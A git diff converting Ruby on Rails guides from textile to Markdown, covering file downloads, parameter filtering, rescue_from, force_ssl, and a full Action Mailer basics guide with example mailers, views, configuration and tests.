+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, which will both stream data to the client. `send_file` is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
-To stream data to the client, use +send_data+:
+To stream data to the client, use `send_data`:
-<ruby>
+```ruby
require "prawn"
class ClientsController < ApplicationController
# Generates a PDF document with information on the client and
@@ -651,53 +673,53 @@ class ClientsController < ApplicationController
def download_pdf
client = Client.find(params[:id])
send_data generate_pdf(client),
- :filename => "#{client.name}.pdf",
- :type => "application/pdf"
+ filename: "#{client.name}.pdf",
+ type: "application/pdf"
end
private
def generate_pdf(client)
Prawn::Document.new do
- text client.name, :align => :center
+ text client.name, align: :center
text "Address: #{client.address}"
text "Email: #{client.email}"
end.render
end
end
-</ruby>
+```
-The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
+The `download_pdf` action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment".
-h4. Sending Files
+### Sending Files
-If you want to send a file that already exists on disk, use the +send_file+ method.
+If you want to send a file that already exists on disk, use the `send_file` method.
-<ruby>
+```ruby
class ClientsController < ApplicationController
# Stream a file that has already been generated and stored on disk.
def download_pdf
client = Client.find(params[:id])
send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
- :filename => "#{client.name}.pdf",
- :type => "application/pdf")
+ filename: "#{client.name}.pdf",
+ type: "application/pdf")
end
end
-</ruby>
+```
-This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
+This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
-If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used.
+If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content type is not registered for the extension, `application/octet-stream` will be used.
WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
-h4. RESTful Downloads
+### RESTful Downloads
-While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
+While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
-<ruby>
+```ruby
class ClientsController < ApplicationController
# The user can request to receive this resource as HTML or PDF.
def show
@@ -705,69 +727,71 @@ class ClientsController < ApplicationController
respond_to do |format|
format.html
- format.pdf { render :pdf => generate_pdf(@client) }
+ format.pdf { render pdf: generate_pdf(@client) }
end
end
end
-</ruby>
+```
-In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+:
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
-<ruby>
+```ruby
Mime::Type.register "application/pdf", :pdf
-</ruby>
+```
NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
-<shell>
+```bash
GET /clients/1.pdf
-</shell>
+```
-h3. Parameter Filtering
+Parameter Filtering
+-------------------
-Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
+Rails keeps a log file for each environment in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
-<ruby>
+```ruby
config.filter_parameters << :password
-</ruby>
+```
-h3. Rescue
+Rescue
+------
-Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception.
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception.
Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
-h4. The Default 500 and 404 Templates
+### The Default 500 and 404 Templates
-By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
-h4. +rescue_from+
+### `rescue_from`
-If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
+If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
-When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object.
+When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler. The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object.
-Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them.
+Here's how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them.
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
- rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
+ rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
private
def record_not_found
- render :text => "404 Not Found", :status => 404
+ render text: "404 Not Found", status: 404
end
end
-</ruby>
+```
Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
- rescue_from User::NotAuthorized, :with => :user_not_authorized
+ rescue_from User::NotAuthorized, with: :user_not_authorized
private
@@ -793,28 +817,29 @@ class ClientsController < ApplicationController
raise User::NotAuthorized unless current_user.admin?
end
end
-</ruby>
+```
-NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
+NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information.
-h3. Force HTTPS protocol
+Force HTTPS protocol
+--------------------
-Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that:
+Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use `force_ssl` method in your controller to enforce that:
-<ruby>
+```ruby
class DinnerController
force_ssl
end
-</ruby>
+```
-Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions.
+Just like the filter, you could also passing `:only` and `:except` to enforce the secure connection only to specific actions.
-<ruby>
+```ruby
class DinnerController
- force_ssl :only => :cheeseburger
+ force_ssl only: :cheeseburger
# or
- force_ssl :except => :cheeseburger
+ force_ssl except: :cheeseburger
end
-</ruby>
+```
-Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file.
+Please note that if you found yourself adding `force_ssl` to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the `config.force_ssl` in your environment file.
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
new file mode 100644
index 0000000000..de5c15fe54
--- /dev/null
+++ b/guides/source/action_mailer_basics.md
@@ -0,0 +1,567 @@
+Action Mailer Basics
+====================
+
+This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers.
+
+--------------------------------------------------------------------------------
+
+WARNING. This guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails.
+
+Introduction
+------------
+
+Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from `ActionMailer::Base` and live in `app/mailers`. Those mailers have associated views that appear alongside controller views in `app/views`.
+
+Sending Emails
+--------------
+
+This section will provide a step-by-step guide to creating a mailer and its views.
+
+### Walkthrough to Generating a Mailer
+
+#### Create the Mailer
+
+```bash
+$ rails generate mailer UserMailer
+create app/mailers/user_mailer.rb
+invoke erb
+create app/views/user_mailer
+invoke test_unit
+create test/functional/user_mailer_test.rb
+```
+
+So we got the mailer, the views, and the tests.
+
+#### Edit the Mailer
+
+`app/mailers/user_mailer.rb` contains an empty mailer:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'from@example.com'
+end
+```
+
+Let's add a method called `welcome_email`, that will send an email to the user's registered email address:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'notifications@example.com'
+
+ def welcome_email(user)
+ @user = user
+ @url = 'http://example.com/login'
+ mail(to: user.email, subject: 'Welcome to My Awesome Site')
+ end
+end
+```
+
+Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.
+
+* `default Hash` - This is a hash of default values for any email you send, in this case we are setting the `:from` header to a value for all messages in this class, this can be overridden on a per email basis
+* `mail` - The actual email message, we are passing the `:to` and `:subject` headers in.
+
+Just like controllers, any instance variables we define in the method become available for use in the views.
+
+#### Create a Mailer View
+
+Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This will be the template used for the email, formatted in HTML:
+
+```html+erb
+<!DOCTYPE html>
+<html>
+ <head>
+ <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
+ </head>
+ <body>
+ <h1>Welcome to example.com, <%= @user.name %></h1>
+ <p>
+ You have successfully signed up to example.com,
+ your username is: <%= @user.login %>.<br/>
+ </p>
+ <p>
+ To login to the site, just follow this link: <%= @url %>.
+ </p>
+ <p>Thanks for joining and have a great day!</p>
+ </body>
+</html>
+```
+
+It is also a good idea to make a text part for this email. To do this, create a file called `welcome_email.text.erb` in `app/views/user_mailer/`:
+
+```erb
+Welcome to example.com, <%= @user.name %>
+===============================================
+
+You have successfully signed up to example.com,
+your username is: <%= @user.login %>.
+
+To login to the site, just follow this link: <%= @url %>.
+
+Thanks for joining and have a great day!
+```
+
+When you call the `mail` method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a `multipart/alternative` email.
+
+#### Wire It Up So That the System Sends the Email When a User Signs Up
+
+There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created.
+
+Setting this up is painfully simple.
+
+First off, we need to create a simple `User` scaffold:
+
+```bash
+$ rails generate scaffold user name:string email:string login:string
+$ rake db:migrate
+```
+
+Now that we have a user model to play with, we will just edit the `app/controllers/users_controller.rb` make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to `UserMailer.welcome_email` right after the user is successfully saved:
+
+```ruby
+class UsersController < ApplicationController
+ # POST /users
+ # POST /users.json
+ def create
+ @user = User.new(params[:user])
+
+ respond_to do |format|
+ if @user.save
+ # Tell the UserMailer to send a welcome Email after save
+ UserMailer.welcome_email(@user).deliver
+
+ format.html { redirect_to(@user, notice: 'User was successfully created.') }
+ format.json { render json: @user, status: :created, location: @user }
+ else
+ format.html { render action: 'new' }
+ format.json { render json: @user.errors, status: :unprocessable_entity }
+ end
+ end
+ end
+end
+```
+
+This provides a much simpler implementation that does not require the registering of observers and the like.
+
+The method `welcome_email` returns a `Mail::Message` object which can then just be told `deliver` to send itself out.
+
+NOTE: In previous versions of Rails, you would call `deliver_welcome_email` or `create_welcome_email`. This has been deprecated in Rails 3.0 in favour of just calling the method name itself.
+
+WARNING: Sending out an email should only take a fraction of a second. If you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job.
+
+### Auto encoding header values
+
+Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.
+
+If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII.
+
+For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library.
+
+### Complete List of Action Mailer Methods
+
+There are just three methods that you need to send pretty much any email message:
+
+* `headers` - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call `headers[:field_name] = 'value'`.
+* `attachments` - Allows you to add attachments to your email. For example, `attachments['file-name.jpg'] = File.read('file-name.jpg')`.
+* `mail` - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.
+
+#### Custom Headers
+
+Defining custom headers are simple, you can do it one of three ways:
+
+* Defining a header field as a parameter to the `mail` method:
+
+ ```ruby
+ mail('X-Spam' => value)
+ ```
+
+* Passing in a key value assignment to the `headers` method:
+
+ ```ruby
+ headers['X-Spam'] = value
+ ```
+
+* Passing a hash of key value pairs to the `headers` method:
+
+ ```ruby
+ headers {'X-Spam' => value, 'X-Special' => another_value}
+ ```
+
+TIP: All `X-Value` headers per the RFC2822 can appear more than once. If you want to delete an `X-Value` header, you need to assign it a value of `nil`.
+
+#### Adding Attachments
+
+Adding attachments has been simplified in Action Mailer 3.0.
+
+* Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.
+
+ ```ruby
+ attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+ ```
+
+NOTE: Mail will automatically Base64 encode an attachment. If you want something different, pre-encode your content and pass in the encoded content and encoding in a `Hash` to the `attachments` method.
+
+* Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.
+
+ ```ruby
+ encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+ attachments['filename.jpg'] = {mime_type: 'application/x-gzip',
+ encoding: 'SpecialEncoding',
+ content: encoded_content }
+ ```
+
+NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.
+
+#### Making Inline Attachments
+
+Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
+
+* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call `#inline` on the attachments method within your Mailer:
+
+ ```ruby
+ def welcome
+ attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
+ end
+ ```
+
+* Then in your view, you can just reference `attachments[]` as a hash and specify which attachment you want to show, calling `url` on it and then passing the result into the `image_tag` method:
+
+ ```html+erb
+ <p>Hello there, this is our image</p>
+
+ <%= image_tag attachments['image.jpg'].url %>
+ ```
+
+* As this is a standard call to `image_tag` you can pass in an options hash after the attachment URL as you could for any other image:
+
+ ```html+erb
+ <p>Hello there, this is our image</p>
+
+ <%= image_tag attachments['image.jpg'].url, alt: 'My Photo',
+ class: 'photos' %>
+ ```
+
+#### Sending Email To Multiple Recipients
+
+It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the `:to` key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.
+
+```ruby
+class AdminMailer < ActionMailer::Base
+ default to: Proc.new { Admin.pluck(:email) },
+ from: 'notification@example.com'
+
+ def new_registration(user)
+ @user = user
+ mail(subject: "New User Signup: #{@user.email}")
+ end
+end
+```
+
+The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the `:cc` and `:bcc` keys respectively.
+
+#### Sending Email With Name
+
+Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
+to format the email address in the format `"Name <email>"`.
+
+```ruby
+def welcome_email(user)
+ @user = user
+ email_with_name = "#{@user.name} <#{@user.email}>"
+ mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
+end
+```
+
+### Mailer Views
+
+Mailer views are located in the `app/views/name_of_mailer_class` directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the `welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb` for the HTML version and `welcome_email.text.erb` for the plain text version.
+
+To change the default mailer view for your action you do something like:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'notifications@example.com'
+
+ def welcome_email(user)
+ @user = user
+ @url = 'http://example.com/login'
+ mail(to: user.email,
+ subject: 'Welcome to My Awesome Site',
+ template_path: 'notifications',
+ template_name: 'another')
+ end
+end
+```
+
+In this case it will look for templates at `app/views/notifications` with name `another`.
+
+If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ default from: 'notifications@example.com'
+
+ def welcome_email(user)
+ @user = user
+ @url = 'http://example.com/login'
+ mail(to: user.email,
+ subject: 'Welcome to My Awesome Site') do |format|
+ format.html { render 'another_template' }
+ format.text { render text: 'Render text' }
+ end
+ end
+
+end
+```
+
+This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as `:text`, `:inline` etc.
+
+### Action Mailer Layouts
+
+Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as `user_mailer.html.erb` and `user_mailer.text.erb` to be automatically recognized by your mailer as a layout.
+
+In order to use a different file just use:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ layout 'awesome' # use awesome.(html|text).erb as the layout
+end
+```
+
+Just like with controller views, use `yield` to render the view inside the layout.
+
+You can also pass in a `layout: 'layout_name'` option to the render call inside the format block to specify different layouts for different actions:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ mail(to: user.email) do |format|
+ format.html { render layout: 'my_layout' }
+ format.text
+ end
+ end
+end
+```
+
+Will render the HTML part using the `my_layout.html.erb` file and the text part with the usual `user_mailer.text.erb` file if it exists.
+
+### Generating URLs in Action Mailer Views
+
+URLs can be generated in mailer views using `url_for` or named routes.
+
+Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the `:host`, `:controller`, and `:action`:
+
+```erb
+<%= url_for(host: 'example.com',
+ controller: 'welcome',
+ action: 'greeting') %>
+```
+
+When using named routes you only need to supply the `:host`:
+
+```erb
+<%= user_url(@user, host: 'example.com') %>
+```
+
+Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
+
+It is also possible to set a default host that will be used in all mailers by setting the `:host` option as a configuration option in `config/application.rb`:
+
+```ruby
+config.action_mailer.default_url_options = { host: 'example.com' }
+```
+
+If you use this setting, you should pass the `only_path: false` option when using `url_for`. This will ensure that absolute URLs are generated because the `url_for` view helper will, by default, generate relative URLs when a `:host` option isn't explicitly provided.
+
+### Sending Multipart Emails
+
+Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have `welcome_email.text.erb` and `welcome_email.html.erb` in `app/views/user_mailer`, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
+
+The order of the parts getting inserted is determined by the `:parts_order` inside of the `ActionMailer::Base.default` method. If you want to explicitly alter the order, you can either change the `:parts_order` or explicitly render the parts in a different order:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ @user = user
+ @url = user_url(@user)
+ mail(to: user.email,
+ subject: 'Welcome to My Awesome Site') do |format|
+ format.html
+ format.text
+ end
+ end
+end
+```
+
+Will put the HTML part first, and the plain text part second.
+
+### Sending Emails with Attachments
+
+Attachments can be added by using the `attachments` method:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ @user = user
+ @url = user_url(@user)
+ attachments['terms.pdf'] = File.read('/path/terms.pdf')
+ mail(to: user.email,
+ subject: 'Please see the Terms and Conditions attached')
+ end
+end
+```
+
+The above will send a multipart email with an attachment, properly nested with the top level being `multipart/mixed` and the first part being a `multipart/alternative` containing the plain text and HTML email messages.
+
+#### Sending Emails with Dynamic Delivery Options
+
+If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using `delivery_method_options` in the mailer action.
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user,company)
+ @user = user
+ @url = user_url(@user)
+ delivery_options = { user_name: company.smtp_user, password: company.smtp_password, address: company.smtp_host }
+ mail(to: user.email, subject: "Please see the Terms and Conditions attached", delivery_method_options: delivery_options)
+ end
+end
+```
+
+Receiving Emails
+----------------
+
+Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to:
+
+* Implement a `receive` method in your mailer.
+
+* Configure your email server to forward emails from the address(es) you would like your app to receive to `/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'`.
+
+Once a method called `receive` is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer `receive` instance method. Here's an example:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def receive(email)
+ page = Page.find_by_address(email.to.first)
+ page.emails.create(
+ subject: email.subject,
+ body: email.body
+ )
+
+ if email.has_attachments?
+ email.attachments.each do |attachment|
+ page.attachments.create({
+ file: attachment,
+ description: email.subject
+ })
+ end
+ end
+ end
+end
+```
+
+Using Action Mailer Helpers
+---------------------------
+
+Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller.
+
+Action Mailer Configuration
+---------------------------
+
+The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
+
+| Configuration | Description |
+|---------------|-------------|
+|`template_root`|Determines the base from which template references will be made.|
+|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.|
+|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>|
+|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>|
+|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered.|
+|`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.|
+|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
+|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
+|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
+|`async`|Setting this flag will turn on asynchronous message sending, message rendering and delivery will be pushed to `Rails.queue` for processing.|
+|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
+
+### Example Action Mailer Configuration
+
+An example would be adding the following to your appropriate `config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+# location: '/usr/sbin/sendmail',
+# arguments: '-i -t'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.default_options = {from: 'no-replay@example.org'}
+```
+
+### Action Mailer Configuration for GMail
+
+As Action Mailer now uses the Mail gem, this becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+ address: 'smtp.gmail.com',
+ port: 587,
+ domain: 'baci.lindsaar.net',
+ user_name: '<username>',
+ password: '<password>',
+ authentication: 'plain',
+ enable_starttls_auto: true }
+```
+
+Mailer Testing
+--------------
+
+By default Action Mailer does not send emails in the test environment. They are just added to the `ActionMailer::Base.deliveries` array.
+
+Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
+
+```ruby
+class UserMailerTest < ActionMailer::TestCase
+ def test_welcome_email
+ user = users(:some_user_in_your_fixtures)
+
+ # Send the email, then test that it got queued
+ email = UserMailer.welcome_email(user).deliver
+ assert !ActionMailer::Base.deliveries.empty?
+
+ # Test the body of the sent email contains what we expect it to
+ assert_equal [user.email], email.to
+ assert_equal 'Welcome to My Awesome Site', email.subject
+ assert_match "<h1>Welcome to example.com, #{user.name}</h1>", email.body.to_s
+ assert_match 'you have joined to example.com community', email.body.to_s
+ end
+end
+```
+
+In the test we send the email and store the returned object in the `email` variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.
+
+Asynchronous
+------------
+
+Rails provides a Synchronous Queue by default. If you want to use an Asynchronous one you will need to configure an async Queue provider like Resque. Queue providers are supposed to have a Railtie where they configure it's own async queue.
+
+### Custom Queues
+
+If you need a different queue than `Rails.queue` for your mailer you can use `ActionMailer::Base.queue=`:
+
+```ruby
+class WelcomeMailer < ActionMailer::Base
+ self.queue = MyQueue.new
+end
+```
+
+or adding to your `config/environments/$RAILS_ENV.rb`:
+
+```ruby
+config.action_mailer.queue = MyQueue.new
+```
+
+Your custom queue should expect a job that responds to `#run`.
diff --git a/guides/source/action_mailer_basics.textile b/guides/source/action_mailer_basics.textile
deleted file mode 100644
index abfa68b76d..0000000000
--- a/guides/source/action_mailer_basics.textile
+++ /dev/null
@@ -1,549 +0,0 @@
-h2. Action Mailer Basics
-
-This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers.
-
-endprologue.
-
-WARNING. This guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails.
-
-h3. Introduction
-
-Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+.
-
-h3. Sending Emails
-
-This section will provide a step-by-step guide to creating a mailer and its views.
-
-h4. Walkthrough to Generating a Mailer
-
-h5. Create the Mailer
-
-<shell>
-$ rails generate mailer UserMailer
-create app/mailers/user_mailer.rb
-invoke erb
-create app/views/user_mailer
-invoke test_unit
-create test/functional/user_mailer_test.rb
-</shell>
-
-So we got the mailer, the views, and the tests.
-
-h5. Edit the Mailer
-
-+app/mailers/user_mailer.rb+ contains an empty mailer:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- default :from => "from@example.com"
-end
-</ruby>
-
-Let's add a method called +welcome_email+, that will send an email to the user's registered email address:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- default :from => "notifications@example.com"
-
- def welcome_email(user)
- @user = user
- @url = "http://example.com/login"
- mail(:to => user.email, :subject => "Welcome to My Awesome Site")
- end
-end
-</ruby>
-
-Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.
-
-* <tt>default Hash</tt> - This is a hash of default values for any email you send, in this case we are setting the <tt>:from</tt> header to a value for all messages in this class, this can be overridden on a per email basis
-* +mail+ - The actual email message, we are passing the <tt>:to</tt> and <tt>:subject</tt> headers in.
-
-Just like controllers, any instance variables we define in the method become available for use in the views.
-
-h5. Create a Mailer View
-
-Create a file called +welcome_email.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
-
-<erb>
-<!DOCTYPE html>
-<html>
- <head>
- <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
- </head>
- <body>
- <h1>Welcome to example.com, <%= @user.name %></h1>
- <p>
- You have successfully signed up to example.com,
- your username is: <%= @user.login %>.<br/>
- </p>
- <p>
